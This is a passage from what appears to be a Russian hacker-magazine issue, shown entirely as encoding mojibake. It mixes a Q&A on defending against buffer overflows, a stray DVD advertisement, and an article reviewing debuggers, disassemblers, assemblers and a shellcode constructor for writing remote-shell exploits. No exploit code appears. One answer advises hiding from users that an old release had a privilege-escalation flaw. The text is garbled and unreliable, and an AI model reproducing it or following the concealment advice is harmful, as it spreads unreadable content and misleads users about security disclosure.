Øèðîêèé àññîðòèìåíò

shell-êîäîâ



Êàêèì îñíîâíûì
ïðèíöèïàì äîëæåí

ñëåäîâàòü íà÷èíàþùèé
ïðîãðàììèñò?

Íàïèñàíèå çàùèùåí-
íûõ ïðîãðàìì � îñíîâ-
íîé ïðèíöèï è ñàìàÿ
ñëîæíàÿ çàäà÷à äëÿ
ïðîãðàììèñòà. Ýòî â
îñîáåííîñòè îòíîñèòñÿ
ê êîäèíãó ñåðâåðîâ,
ïðîãðàìì ïî áåçîïàñ-
íîñòè è òóëç, çàïóñêàþ-
ùèõñÿ ïîä ðóòîì è äðó-
ãèìè ñèñòåìíûìè àêêà-
óíòàìè. Èñïîëüçóé ïðî-
âåðêó ãðàíèö (ôóíêöèè
strn*, sn* âìåñòî sprintf
è ò.ï.), äèíàìè÷åñêîå çà-
äàíèå ðàçìåðà áóôåðà
â çàâèñèìîñòè îò ïîëü-
çîâàòåëüñêîãî ââîäà.
Áóäü îñòîðîæåí ñ öèê-
ëàìè for/while è äðóãè-
ìè, êîòîðûå íàêàïëèâà-
þò äàííûå â áóôåðå, è
âñåãäà îáðàáàòûâàé
ïîëüçîâàòåëüñêèé ââîä
ñ áîëüøèì âíèìàíèåì.
Òàêæå â èíäóñòðèè áå-
çîïàñíîñòè áûëè ïðåäï-
ðèíÿòû çíà÷èòåëüíûå
óñèëèÿ äëÿ ïðåäîòâðà-
ùåíèÿ ïðîáëåì ïåðå-
ïîëíåíèÿ áóôåðà ñ ïî-
ìîùüþ ìåòîäèê òèïà
íåèñïîëíÿåìûé ñòåê,
suid wrapper, çàùèòíûå
ïðîãðàììû, êîòîðûå
ïðîâåðÿþò àäðåñà âîçâ-
ðàòà, êîìïèëÿòîðû ñ
ïðîâåðêîé ãðàíèö è ò.ä.
Èñïîëüçóé ýòè òåõíèêè
âåçäå, ãäå âîçìîæíî, íî
íå ïîëàãàéñÿ òîëüêî íà
íèõ, à ïðèäóìûâàé ÷òî-
òî ñâîå.

Ðåøèë âûïóñêàòü
ïðîãðàììó âìåñòå ñ

êîäîì, íî ìíå ñêàçàëè, ÷òî
ýòî íå ñîâñåì áåçîïàñíî �
ìîãóò íàéòè óÿçâèìîñòü è
íàïèñàòü ýêñïëîèò. ×òî ïî-
ñîâåòóåòå?

Óÿçâèìîñòü ìîãóò íàéòè
è áåç èñõîäíèêîâ. Åñëè
ðåøèë äàðèòü ìèðó èñ-
õîäíèêè � äàðè, íî áóäü
ãîòîâ êî âñåìó. Ïðåæäå
÷åì ðàñïðîñòðàíÿòü
ñûðöû, ïðîâåðü èõ âñå-
âîçìîæíûìè óòèëèòàìè
íà íàëè÷èå óÿçâèìûõ
ìåñò. È ïîïðîñè ïðîâå-
ðèòü äðóãèõ ïðîãðàììå-
ðîâ � îäíà ãîëîâà õîðî-
øî, à äâå ëó÷øå.

Ïîëó÷èë ïèñüìî îò
ïîëüçîâàòåëÿ, þçàþ-

ùåãî ìîþ ïðîãðàììó. Îí
ïèøåò, ÷òî îáíàðóæèë ïå-
ðåïîëíåíèå â ìîåì ïðîåê-
òå, âåäóùåå ê ïîäíÿòèþ äî-
ïîëíèòåëüíûõ ïðèâèëåãèé.
×òî ëó÷øå âñåãî ñäåëàòü â
ýòîì ñëó÷àå?

Òåáå ïîâåçëî, ÷òî þçåð
îòïèñàë òåáå, à íå â áàãò-
ðàê. Ïî äàííûì ïèñüìà
áûñòðåíüêî ïîôèêñè áàã
è âûïóñòè ñâåæèé ðåëèç.
Ïîñòàðàéñÿ íå óïîìè-
íàòü, ÷òî â ñòàðîé âåðñèè
íàáëþäàëñÿ ðàçðóøè-
òåëüíàÿ óÿçâèìîñòü, èíà-
÷å óñóãóáèøü ñèòóàöèþ.
Äîæäèñü, êîãäà âñå àï-
äåéòíóò ïðîãó, è òîëüêî
ïîñëå ýòîãî (÷åðåç ïàðó
âåðñèé) çàÿâè î ïîôèê-
ñåííîì èçúÿíå. È íå çà-
áóäü ïîáëàãîäàðèòü íà-
øåäøåãî óÿçâèìîñòü :).

Åñòü ëè àëüòåðíàòèâà
gcc, êîòîðàÿ ïîçâî-

ëèëà áû èçáåæàòü ïåðåïîë-
íåíèé?

Ïðî õîðîøèå àëüòåðíà-
òèâû íå ñëûøàë, îäíàêî
ñóùåñòâóþò ïàò÷è ê gcc,
ðåøàþùèå ïðîáëåìó.
Ñõîäè ïî ññûëêå
http://www.trl.ibm.com/proj-
ects/security/ssp/ è íàé-
äåøü ðÿä ôèêñîâ, çàùè-
ùàþùèõ îò îâåðëîàäà.
Ïðèíöèï èõ äåéñòâèÿ
î÷åíü ïðîñò: ïðè êîìïè-

ëÿöèè ê êàæäîé ïðîã-
ðàììå äîáàâëÿåòñÿ
ó÷àñòîê êîäà äëÿ çàùè-
òû îò ïåðåïîëíåíèÿ.
Ïàò÷ óíèâåðñàëåí è ìî-
æåò ïðèìåíÿòüñÿ êàê
äëÿ Linux, òàê è äëÿ
FreeBSD.

ÂÎÏÐÎÑÛ ÞÇÅÐÀ

ß íå íàøåë íîâîãî
äèñòðèáóòèâà, ïîýòî-

ìó ïîñòàâèë ñòàðåíüêèé
Linux. Ñðàçó æå çàêðûë
ôàåðâîëîì ïîðòû, ÷òîáû
íèêòî ìåíÿ íå ñëîìàë. Îä-
íàêî ÷åðåç íåñêîëüêî äíåé
îáíàðóæèëîñü, ÷òî ñèñòåìà
çàðàæåíà ðóòêèòîì. Êàê òà-
êîå ìîãëî ïðîèçîéòè?

Àêòèâíûé ôàåðâîë íå
çàùèùàåò îò ïåðåïîë-
íåíèé íà 100%. Âçëîì-
ùèê ìîã ïðîàíàëèçè-
ðîâàòü òâîè ïðàâèëà è
íàéòè â íèõ äûðêó. Ê
òîìó æå, õàêåð ñïîñî-
áåí ïðîýêñïëóàòèðî-
âàòü ñòàðûé ñåðâèñ
(íàïðèìåð, sshd, www,
ftpd), áëàãî íà ñòàðîì
äèñòðèáóòèâå âî âñåõ
äåìîíàõ åñòü îøèáêè.
Ïðè÷èí ìîæåò áûòü
ìíîãî ðîé ëîãè è èùè
àíîìàëüíûå çàïèñè.
Çàòåì ñíîñè ñòàðûé
ïèíãâèí è ñòàâü îáíîâ-
ëåííûé ðåëèç.

ß ïîñòîÿííî ÷èòàþ
ðàññûëêè è â êóðñå

íåäàâíèõ óÿçâèìîñòåé. Íî
â ìîèõ ëîãàõ ïåðèîäè÷åñêè
ïîÿâëÿþòñÿ ñòðàííûå çà-
ïèñè î âûõîäàõ ïî 11 ñèãíà-
ëó âåá-ñåðâåðà. Ìåíÿ
âçëîìàëè?

Òåáÿ ïîêà åùå íå âçëî-
ìàëè, à âîò çà òâîé ñåð-
âåð îòâå÷àòü íå ìîãó :).
Ê ñîæàëåíèþ, êðóïíûå
óÿçâèìîñòè âñïëûâàþò
íå ñðàçó, è òû ìîæåøü
äàæå íå ïîäîçðåâàòü
îá èõ ñóùåñòâîâàíèè.
Âûõîä ïî 11 ñèãíàëó ñó-
ëèò ïåðåïîëíåíèå áó-
ôåðà â âåá-ñåðâåðå.
Ïîýòîìó áûñòðî âûðó-
áàé ñåðâàê è îáíîâëÿé
åãî âåðñèþ. Òàêæå ïîè-
ùè èíôîðìàöèþ î ïî-
äîáíîé ïðîáëåìå â Ãóã-
ëå � âîçìîæíî, íå òû
îäèí ñòîëêíóëñÿ ñ òà-
êîé àíîìàëèåé. Âïðî-
÷åì, åñëè ëîãè ïîêàçû-
âàþò îøèáêè äåìîíîâ,
ýòî åùå íå çíà÷èò, ÷òî
òåáÿ ïîëîìàëè. Âîç-
ìîæíî, õàêåð ïðîñòî
ñêàíèðóåò òåáÿ ïðîäâè-
íóòîé òóëçîé, ïûòàÿñü
íàéòè óÿçâèìîñòü â
ñåðâèñå etc.
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1. Åñëè òû ïèøåøü íå ñåðâèñíûå èëè ñóèäíûå ïðèëîæåíèÿ, ìîæåøü ñìåëî
ðåëèçèòü âñå èñïðàâëåííûå òîáîé ïåðåïîëíåíèÿ (åñëè òàêîâûå èìåþòñÿ) â
version.txt. Â ïðîòèâíîì ñëó÷àå âîçäåðæèñü îò îãëàñêè ñòîëü îïàñíîé èí-
ôîðìàöèè.
2. Äåëèñü èñõîäíèêàìè ñ äðóãèìè ïðîãðàììèñòàìè. Îíè ïîìîãóò òåáå ïðîàíà-
ëèçèðîâàòü ñîôò è íàéòè â íåì ïðåäðàñïîëîæåííîñòü ê ïåðåïîëíåíèþ.
3. Èñïîëüçóé ñïåöèàëüíûå ôëàãè êîìïèëÿòîðà è ñëóæåáíûå ïðîãðàììû, ñ
ïîìîùüþ êîòîðûõ òû áóäåøü íà 100% óâåðåí â áåçîïàñíîé ðàáîòå ñ òâîèì
ïðîåêòîì.

ÑÎÂÅÒÛ ÏÐÎÃÐÀÌÌÈÑÒÓ

1. Òû ñ÷àñòëèâûé îáëàäàòåëü Linux? Òîãäà ïîçàáîòüñÿ î áåçîïàñíîñòè â òâî-
åì ÿäðå è ñâîåâðåìåííî íàêëàäûâàé áåçîïàñíûå ïàò÷è.
2. Íå çàáûâàé ïðî ïåðñîíàëüíûé ôàåðâîë. Äàæå åñëè õàêåðû íàéäóò íîâûé
áàã, îíè íå ñìîãóò ïîðóëèòü òâîåé ìàøèíîé.
3. Åñëè óâèäåë â ëîãàõ ñòðàííûå çàïèñè � íåìåäëåííî îáíîâëÿé ñåðâèñ. Îñî-
áóþ îïàñíîñòü ïðåäñòàâëÿþò ñòðîêè, ãëàñÿùèå îá îøèáêå ñåãìåíòàöèè ïðè-
ëîæåíèÿ.

ÑÎÂÅÒÛ ÞÇÅÐÓ

Êòî-òî òåñòèðóåò ñïëîèò

äëÿ Apache...



Ñóùåñòâóþò ëè ñïåöè-
àëüíûå ïàò÷è, ñïàñà-

þùèå îò ëîêàëüíîãî ïåðå-
ïîëíåíèÿ áóôåðà?

Äà, òàêèå ïàò÷è ñóùå-
ñòâóþò. Âîò ñïèñîê ñà-
ìûõ äîñòîéíûõ:
1. //www.openwall.com/linux/.
Ïàò÷ äëÿ Linux, ïîçâî-
ëÿþùèé áëîêèðîâàòü
ïîïûòêè íåñàíêöèîíè-
ðîâàííîãî äîñòóïà, òà-
êèå, êàê êðèâûå îáðà-
ùåíèÿ ê ñèìëèíêàì, ïå-
ðåïîëíåíèÿ ñòåêà è ò.ï.
2. http://ftp.lexa.ru/pub/domes-
tic/snar/. Ïðîåêò libpara-
noia ïîçâîëÿåò çàìå-
íèòü ñòàíäàðòíûå áàæ-
íûå ôóíêöèè íà áîëåå
çàùèùåííûå. Áëàãîäà-
ðÿ ýòîìó õàêåð íå ñìî-
æåò ïåðåïîëíèòü áó-
ôåð â ëîêàëüíîì ïðè-
ëîæåíèè.
3. //www.starzetz.com/soft-
ware/rsx/. Ïàò÷ RSX ïîçâî-
ëÿåò áëîêèðîâàòü çà-
ïóñê shell-êîäà â ñòåêå
èëè êó÷å ïîñëå ïåðå-
ïîëíåíèÿ áóôåðà. Èñ-
ïîëüçóåòñÿ òîëüêî ñ
ÿäðàìè 2.4.õ.
4. http://pageexec.virtu-
alave.net (PAX),
http://people.redhat.com/ming
o/exec-shield (Exec-shield).
Âêóñíûå ïàò÷è, îðèåí-
òèðîâàííûå íà áëîêè-
ðîâàíèå ïåðåïîëíåíèÿ.
5. Grsecurity. Çàùèùà-
åò îò ìíîæåñòâ ïåðåïîë-
íåíèé ïàìÿòè è ñòåêà.

À êàê áûòü ñ óäàëåí-
íûì ïåðåïîëíåíèåì?

Ñóùåñòâóþò ëè ñðåäñòâà
äëÿ ïðåñå÷åíèÿ õàêåðñêèõ
àòàê?

Âî-ïåðâûõ, ïîñòàâü õî-
ðîøèé ôàåðâîë. Íî
áðàíäìàóýð íå ñìîæåò
â ïîëíîé ìåðå çàùè-
òèòü òâîþ ñèñòåìó. Ïî-
ýòîìó íàéäè äëÿ ñåáÿ
îïòèìàëüíóþ ïðîãðàì-
ìó, àíàëèçèðóþùóþ
ñåòåâîé òðàôèê. Ýòî
ìîæåò áûòü è LIDS, è
Snort, ïðåêðàñíî ïîíè-
ìàþùèé íåçäîðîâûå
ïàêåòû. Êñòàòè, íåêîòî-
ðûå àäìèíû äî ñèõ ïîð
äîâåðÿþò òàêèì óòèëè-
òàì, êàê portcentry è
logcentry.

Êàê çàùèòèòü ñâîé
Windows-ñåðâåð îò

ïåðåïîëíåíèé?

Âî-ïåðâûõ, âûðóáè âñå
ëåâûå ñåðâèñû. Äàæå
åñëè â íèõ íàéäóò ïå-
ðåïîëíåíèÿ, òû íå
ïîñòðàäàåøü. Âî-âòî-
ðûõ, îáíîâè ïðèâèëåãè-
ðîâàííûå ïðèëîæåíèÿ
äî ïîñëåäíåé âåðñèè
(Microsoft âñåãäà âûê-
ëàäûâàåò ñâåæèå ðåëè-
çû ñëóæá). Â-òðåòüèõ,
ïîäïèøèñü íà ðàññûë-
êè, ÷òîáû çíàòü î íî-
âûõ ïåðåïîëíåíèÿõ. È,
íàêîíåö, åæåäíåâíî
èçó÷àé ïîäîçðèòåëü-
íûå çàïèñè â ëîãàõ �
èìåííî îíè ñèãíàëèçè-
ðóþò î âîçìîæíûõ ïî-
ïûòêàõ ñîðâàòü êðûøó
ó òâîåé Âèíäû.

Â ïîñëåäíåå âðåìÿ
ìîÿ ñèñòåìà ñòàëà ðà-

áîòàòü íåñòàáèëüíî. Êàæ-
äûé ÷àñ (à òî è ÷àùå) ïî-
ÿâëÿåòñÿ îêîøêî ñ íàä-
ïèñüþ «Ñëóæáà lsass çà-
âåðøåíà àâàðèéíî, è ñèñ-
òåìà áóäåò ïåðåçàãðóæå-
íà». ×òî äåëàòü è êòî âè-
íîâàò?

Óæå äàâíî èçâåñòåí
áàã â áèáëèîòåêå ASN.1
(êñòàòè, ïî÷èòàé ñòàòüþ
«Äåñÿòêà ñàìûõ-ñàìûõ.
Îáçîð õèòîâûõ ïåðå-
ïîëíåíèé» è îçíàêîìü-
ñÿ ñ ïðèíöèïîì áàãà),
ïîçâîëÿþùèé âàëèòü
âèíäîâûé ñåðâèñ è èñ-
ïîëíÿòü ïðîèçâîëüíûé
êîä. Âîò õàêåðû è ïûòà-
þòñÿ ïåðåïîëíèòü áó-
ôåð ó òâîèõ ôîðòî÷åê,
ïðè÷åì äåëàþò ýòî äî-
âîëüíî óñïåøíî. Äëÿ
ðåøåíèÿ ïðîáëåìû íå-
ìåäëåííî òîïàé íà
microsoft.com è âûêà-
÷èâàé ïàò÷. Íå çàáóäü
òàêæå ïðèêðûòü 135-
139 ïîðòû ôàåðâîëîì.
Äîëæíî ïîìî÷ü. 

ÍÀ DVD

ÏÐÈËÎÆÅÍÈÈ

� Ôèëüì «Ñåêðåòàðøà»

� 50 ôðàãìåíòîâ ëó÷øèõ ôèëüìîâ

� Òåñòû äëÿ íàñòðîéêè ÄÊ

� ðåöåíçèè íà ôèëüìû � äàííûå î êà÷åñòâå èçîáðàæåíèÿ, çâóêà
è äîïîëíèòåëüíûõ ììàòåðèàëîâ � áèîãðàôèè è ôèëüìîãðàôèè àêòåðîâ

ÊÀÒÀËÎÃ ÂÑÅÕ ÄÈÑÊÎÂ,
ÂÛÏÓÙÅÍÍÛÕ Â ÐÎÑÑÈÈ ÇÀ ÏÎËÃÎÄÀ
3 5 0 Î Á Ç Î Ð Î Â

Ò Ð Å Ò È É Â Û Ï Ó Ñ Ê

Â ÏÐÎÄÀÆÅÑ 15ÑÅÍÒßÁÐß

Óáèéñòâî Âèíäû RPC-

àòàêîé



Íèêîëàé «GorluM» Àíäðååâ (gorlum@real.xakep.ru)

Ê àêîé êîìïèëÿòîð âûáðàòü äëÿ shell-êîäà? Íà ÷åì ëó÷øå ïèñàòü ýêñïëîèò? À ÷åì âûäèðàòü àäðåñà âîçâðàòà èç
ñáîéíûõ ôóíêöèé? Â ïðîöåññå èçó÷åíèÿ òåîðèè ïåðåïîëíåíèÿ ïåðåä íàìè âñòàåò ìíîæåñòâî òàêèõ è àíàëîãè÷íûõ

âîïðîñîâ, ñõîäÿùèõñÿ ê îäíîìó: êàêèìè èíñòðóìåíòàìè ïîëüçîâàòüñÿ? Âûáåðåì âìåñòå.
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×ÒÎ ÒÐÅÁÓÅÒÑß?
Ïðåäñòàâèì, ÷òî ìû

íàøëè áàã íà ïåðåïîë-
íåíèå â êàêîì-íèáóäü
ñîôòå è ïðîñòî ãîðèì

æåëàíèåì åãî èñïîëüçîâàòü (à âïîñëåä-
ñòâèè ñîîáùèòü î íåì ïðîèçâîäèòåëþ),
ïðè÷åì íå êàê áàíàëüíûé DoS, à êàê
ñïîñîá ïîëó÷åíèÿ äîñòóïà ê ìàøèíå ñ
òàêèì ñîôòîì. Äëÿ ýòîãî ïîòðåáóåòñÿ
íàïèñàòü ýêñïëîèò ïîä íàø áàã, êîòî-
ðûé áû îòêðûâàë êîìàíäíûé shell íà
êàêîì-íèáóäü ïîðòó. Ïðîöåññ íàïèñà-
íèÿ ýêñïëîèòà ÿ äåëþ íà òðè ýòàïà, ñâÿ-
çàííûõ ñ èñïîëüçîâàíèåì ðàçíûõ
èíñòðóìåíòîâ.

Ïåðâûé ýýòàï � ñáîð äàííûõ îá óÿçâè-
ìîñòè: ïîèñê ôóíêöèè, â êîòîðîé ïðîèñ-
õîäèò ïåðåïîëíåíèå, çàïèñü àäðåñà
âîçâðàòà ýòîé ôóíêöèè, ðàçìåðà áóôå-
ðà è êó÷è äðóãèõ íåîáõîäèìûõ âåùåé
(ïîäðîáíåå î êîòîðûõ òû ñìîæåøü ïðî-
÷åñòü â äðóãèõ ìàòåðèàëàõ ýòîãî íîìå-
ðà). Äëÿ ýòèõ äåéñòâèé íàì ïîòðåáóþòñÿ
óòèëèòû äâóõ âèäîâ: îòëàä÷èêè è äèçàñ-
ñåìáëåðû. Ñ ïîìîùüþ äèçàññåìáëåðîâ
î÷åíü ëåãêî îðèåíòèðîâàòüñÿ â êîäå
óÿçâèìîé ïðîãðàììû, à îòëàä÷èê (äåáà-
ãåð) áóäåò êëþ÷îì ê äàííûì, âîçíèêàþ-
ùèì â õîäå ðàáîòû ïðèëîæåíèÿ, � âîç-
ìîæíîñòü ïðîñìîòðåòü ñòåê â ìîìåíò
ïåðåïîëíåíèÿ ìåíÿ âñåãäà î÷åíü ðàäî-
âàëà. 

Âòîðîé ýýòàï � íàïèñàíèå shell-êîäà,
ãîëîãî êóñêà ïðîãðàììû, êîòîðûé áû
îòêðûâàë äîñòóï ê êîìïüþòåðó æåðòâû.
Ýòî ñàìàÿ îòâåòñòâåííàÿ è ñëîæíàÿ, íà
ìîé âçãëÿä, ÷àñòü ïðîöåññà. Çäåñü íàì
ïîíàäîáèòñÿ àññåìáëåð, âåäü òîëüêî ñ
åãî ïîìîùüþ ìîæíî ñîçäàòü ðàáîòàþ-
ùèé, îòâå÷àþùèé âñåì õèòðûì òðåáî-
âàíèÿì êîä. 

Òðåòèé ýýòàï � ñîáñòâåííî íàïèñàíèå
ýêñïëîèòà, ïðîãðàììû, êîòîðàÿ áû ðåà-
ëèçîâàëà ïåðåïîëíåíèå: çàñóíóëà áû â
áóôåð shell-êîä è ñðàçó æå èì âîñïîëü-
çîâàëàñü. Òóò íèêàê íå îáîéòèñü áåç õî-
ðîøåãî êîìïèëÿòîðà Ñè, íà êîòîðîì
ïðîùå è óäîáíåå íàïèñàòü âêóñíûé
êîä.

Îñòàåòñÿ òîëüêî âûáðàòü èç àññîðòè-
ìåíòà äîñòóïíûõ â ñåòè èíñòðóìåíòîâ

òå, êîòîðûå áû ëó÷øå âñåãî ïîäõîäèëè
äëÿ äîñòèæåíèÿ íàøåé öåëè � ïðèãî-
òîâëåíèÿ õàêåðñêîãî overflow-ðàãó. Êà-
ìîí!

ÎÒËÀÄ×ÈÊÈ È ÄÈÇÀÑÑÅÌÁËÅÐÛ

Soft-Ice
http://www.numega.com

Äóìàþ, íå ñòîèò ãîâî-
ðèòü, ÷òî íà ñåãîäíÿøíèé
äåíü ýòî ëó÷øèé èç äîñ-
òóïíûõ ñìåðòíîìó îòëàä-
÷èêîâ. Ðàñïîëàãàÿñü â ring0, îí ìîæåò
ñäåëàòü âñå, ÷òî òû ïîæåëàåøü. Ïðè
ðàáîòå ñ íèì ìîæíî íå îãðàíè÷èâàòü
ñåáÿ îòëàäêîé ïîëüçîâàòåëüñêèõ ïðè-
ëîæåíèé, íèêòî íå ïîìåøàåò òåáå õîòü
âñå ÿäðî ïåðåëîïàòèòü (íà óðîâíå êîòî-
ðîãî, êñòàòè, è ñèäèò Soft-Ice). Ïîëüçî-
âàòüñÿ òàêèì îòëàä÷èêîì � îäíî óäî-
âîëüñòâèå. Âçÿòü, íàïðèìåð, íàø ñëó-
÷àé � íàïèñàíèå ýêñïëîèòà: ïîäãðóçè ê
Soft-Ice winsock, ïîñòàâü áðåêïîèíò íà
ôóíêöèþ recv (êîìàíäîé bpx) è çíàé
ñåáå æäè, êîãäà áðåê ñðàáîòàåò. Êîãäà
ýòî ïðîèçîéäåò, îñòàíåòñÿ òîëüêî ïîêî-
âûðÿòüñÿ â àêêóðàòíåíüêèõ ñòðî÷êàõ
äèçàññåìáëèðîâàííîé ïðîãðàììêè è
ïîñìîòðåòü, íåò ëè òóò ÷åãî-íèáóäü, ÷òî
ìîæíî ïåðåïîëíèòü. Óäîáíåå, ÈÌÕÎ,
åùå íå ïðèäóìàëè.

Ida Pro
http://www.idapro.com 

Äèçàññåìáëåð íîìåð
îäèí â ìèðå. Íèêàêîìó äðó-
ãîìó åùå íå óäàëîñü ïå-
ðåïëþíóòü åãî ïî ôóíêöè-
îíàëüíîñòè. Ñàì ðàñïîçíàåò ëîêàëü-

íûå ïåðåìåííûå (åñëè åñòü ìàññèâ
ñèìâîëîâ, òî îí òàê è íàïèøåò, à íå
áóäåò ìîðî÷èòü ãîëîâó) è âûçîâû API,
è ñàì ðèñóåò êîììåíòàðèè ê êîäó. À
÷åãî òîëüêî ñòîèò îäíà âîçìîæíîñòü
íàïèñàíèÿ ê IDA Pro äîïîëíèòåëüíûõ
ìîäóëåé! Ê ïðèìåðó, óæå ñåé÷àñ ñó-
ùåñòâóþò ìîäóëè äëÿ äèçàññåìáëèðî-
âàíèÿ ôàéëîâ, ñæàòûõ UPX�îì. Âíóò-
ðåííèé ÿçûê IDA õîðîøî äîêóìåíòè-
ðîâàí, è åñëè òû ðàíüøå ïèñàë íà Ñè,
òî ó òåáÿ íå äîëæíî âîçíèêíóòü òðóä-
íîñòåé ñ ñîçäàíèåì ñîáñòâåííûõ
ôóíêöèé äëÿ ýòîãî çàìå÷àòåëüíîãî
äèçàññåìáëåðà.

Åñòü îòëè÷íàÿ èäåÿ: íàïèñàòü äëÿ IDA
Pro ìîäóëü, êîòîðûé áóäåò èñêàòü â äè-
çàññåìáëèðóåìîé ïðîãðàììå ïåðåïîëíå-
íèå áóôåðà è âûäàâàòü î íåì âñþ èíôîð-
ìàöèþ (ïîëîæåíèå áóôåðà, àäðåñà âîçâ-
ðàòà). Êòî âîçüìåòñÿ � ïèøèòå ìíå, ïîìîãó
åñëè íå ñîâåòîì, òî äîáðûì ñëîâîì!

W32Dasm
À ýòî ìîé ëþáèìûé äèçàññåìáëåð.

Õîòü ó ìåíÿ íà âèíòå âàëÿåòñÿ è IDA, è
Sourcer, è êó÷à äðóãèõ ïîäîáíûõ
èíñòðóìåíòîâ, ïðåäïî÷òåíèå ÿ îòäàþ
èìåííî WDasm. Ïðîâåðåííûé âðåìå-
íåì, ýòî âòîðîé ïî ïîïóëÿðíîñòè äèçàñ-
ñåìáëåð ïîñëå IDA (íî, ê ñîæàëåíèþ, íå
âòîðîé ïî ôóíêöèîíàëüíîñòè). Ìíîãèì
îí íðàâèòñÿ èç-çà óäîáíîãî ñïîñîáà íà-
âèãàöèè ïî êîäó ñ ïîìîùüþ êëàâèø
up\down\left\right è Windows-èíòåðôåé-
ñà. Ìíå æå îí ïðèãëÿíóëñÿ òåì, ÷òî
âñåãäà ïîêàçûâàë, ãäå è êàêàÿ òåêñòî-
âàÿ ñòðîêà áûëà èñïîëüçîâàíà, ïóñòü
äàæå îíà ðàñïîëàãàëàñü â ðåñóðñàõ.

Òàêæå â WDasm èìååòñÿ âñòðîåííûé
îòëàä÷èê óðîâíÿ ïðèëîæåíèÿ, êîòîðûé
õîòü è íå ìîæåò ñîñòàâèòü êîíêóðåí-

»

Ñåé÷àñ
Soft-Ice
ïðîäàåòñÿ â
ñîñòàâå
Numega
Driver
Studio çà
êðóãëåíü-
êóþ ñóììó.

Soft-Ice íå äàñò ïðîïàñòü

IDA � ñàìûé ìîùíûé äèçàññåìáëåð
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öèþ òàêèì ìîíñòðàì, êàê Soft-Ice èëè
KD, íî èíîãäà áûâàåò ïîëåçåí.

Kernel Debugger
http://msdn.microsoft.com

Ìîùíûé îòëàä÷èê óðîâíÿ ÿäðà,
âõîäÿùèé â ïàêåò ðàçðàáîòêè äðàéâå-
ðîâ ÿäðà DDK (Device Driver Kit). Äî
ïîÿâëåíèÿ â ñåòè èñõîäíèêîâ Windows
åäèíñòâåííûì èñòî÷íèêîì èíôîðìà-
öèè î âíóòðåííèõ ñòðóêòóðàõ ÿäðà
ñëóæèë êàê ðàç ýòîò îòëàä÷èê. Èìåííî
ýòèì èíñòðóìåíòîì ïîëüçóåòñÿ çíàìå-
íèòûé Ñâåí Øðàéáåð â ñâîåé êíèãå
"Íåäîêóìåíòèðîâàííûå âîçìîæíîñòè
Windows 2000", ñ ïîìîùüþ íåãî îí
îòëàæèâàåò ñâîè õèòðîóìíûå äðàéâå-

ðû. Ïðîôåññèîíàëû ãîâîðÿò, ÷òî
Kernel Debugger ïëàâíî äîãîíÿåò ïî
ôóíêöèîíàëüíîñòè Soft-Ice. Íó à ïðè
àíàëèçå äàìïà ïàìÿòè åìó âîîáùå íåò
ðàâíûõ. 

Êñòàòè, â îòëè÷èe îò ïðîäóêòà Numega
ýòîò îòëàä÷èê áåñïëàòåí. Åãî ìîæíî
ñâîáîäíî ñêà÷àòü ñ ñàéòà Microsoft èç
ðàçäåëà äëÿ ðàçðàáîò÷èêîâ.

ÊÎÌÏÈËßÒÎÐÛ ÀÑÑÅÌÁËÅÐÀ

FASM
http://flatassembler.net/

Ïëîñêèé àññåìáëåð (Flat
Assembler) � íåäàâíî ïîÿ-
âèâøèéñÿ, íî óæå çàâîå-
âàâøèé øèðîêóþ ïîïóëÿð-
íîñòü êîìïèëÿòîð. Ïåðåíîñèìîñòü
(FASM ðàáîòàåò ïîä Win32, Dos è
Linux), áûñòðîòà, êîìïàêòíîñòü äèñòðè-
áóòèâà è ïîñòîÿííîå ðàçâèòèå ïðîåêòà �
âîò ÷òî ñäåëàëî âîçìîæíûì òàêóþ ïî-
ëîæèòåëüíóþ ðåàêöèþ íà íåãî êîäåðîâ.

Ìåíÿ æå î÷àðîâàëè â ýòîì àññåìáëå-
ðå íå ìîùíûé è óäîáíûé ÿçûê ìàêðî-
ñîâ è íå ïîääåðæêà âñåõ ñàìûõ ñîâðå-
ìåííûõ èíñòðóêöèé ïðîöåññîðîâ, à ñïî-
ñîá îôîðìëåíèÿ èñõîäíèêà � íóæíî

Íå âñåãäà åñòü âîçìîæíîñòü ïèñàòü shell-êîä ñàìîìó, äà åù¸ è
ñ íóëÿ. Âåäü ýòî òðåáóåò íå òîëüêî õîðîøåé òåîðåòè÷åñêîé ïîä-
ãîòîâêè, íî è ìàññû âðåìåíè (íà èäåþ, îòëàäêó etc). Êîìïèëÿòîð
àññåìáëåðà ñî âñåìè áèáëèîòåêàìè ïîñòîÿííî ïîä ðóêîé íå ó
êàæäîãî. 

Êàê ðàç äëÿ òàêèõ ñëó÷àåâ è ñóùåñòâóåò î÷åíü èíòåðåñíàÿ óòèëè-
òà � win32 shellcode constructor, íàïèñàííàÿ èçâåñòíûì ðóññêèì
âèðìåéêåðîì z0mbie. Ýòî óíèêàëüíûé êîíñòðóêòîð shell-êîäîâ,
ïîçâîëÿþùèé ñäåëàòü áóêâàëüíî ëþáîé íóæíûé òåáå êîä, ïðîñòî
âûñòàâëÿÿ ãàëî÷êè â ìåíþøêå ñëåâà è ñëåäÿ çà òåì, ÷òî âûõîäèò
ñïðàâà. Îí ïîçâîëèò èñïîëüçîâàòü ëþáîé íà âûáîð ìåòîä ñîåäè-
íåíèÿ: çàõî÷åøü � îòêðîåò îáûêíîâåííûé shell, à çàõî÷åøü � óñò-
ðîèò back-connect (òî åñòü ñàì áóäåò ïûòàòüñÿ êîííåêòèòüñÿ ïî çà-
äàííîìó àäðåñó). Òàêæå â íåì ðåàëèçîâàíû âñå ñîâðåìåííûå âèð-
ìýéêåðñêèå ôèøêè, íàïðèìåð, ïîèñê API-ôóíêöèé ïî õýøó, à íå
ïî èìåíè (õýø óäîáíåå, ïîòîìó ÷òî çàíèìàåò âñåãî 4 áàéòà è ïî-
ìåùàåòñÿ â ëþáîé ðåãèñòð), èñïîëüçîâàíèå ñîáñòâåííîãî SEH-îá-
ðàáîò÷èêà èëè ñæàòèå êîäà upx-ïîäîáíûì ìåòîäîì. Ðåçóëüòàò
ïðåäñòàâèòñÿ â âèäå asm-, ñè- è ìàøèííîãî êîäà, è òû ñðàçó æå
ñìîæåøü åãî èñïûòàòü. 

ß ñ áîëüøèì óäîâîëüñòâèåì ïîèãðàë ñ ýòîé ïðîãðàììîé è ïîíÿë,
÷òî îíà ìîæåò íå òîëüêî ñëóæèòü õîðîøèì èíñòðóìåíòîì äëÿ ñîç-
äàíèÿ shell-êîäîâ, íî è áûòü îòëè÷íûì ïîñîáèåì äëÿ íîâè÷êà, òàê
êàê âñå ãåíåðèðóåìûå åþ asm-ëèñòèíãè ñîïðîâîæäàþòñÿ ïîäðîá-
íûìè êîììåíòàðèÿìè. 

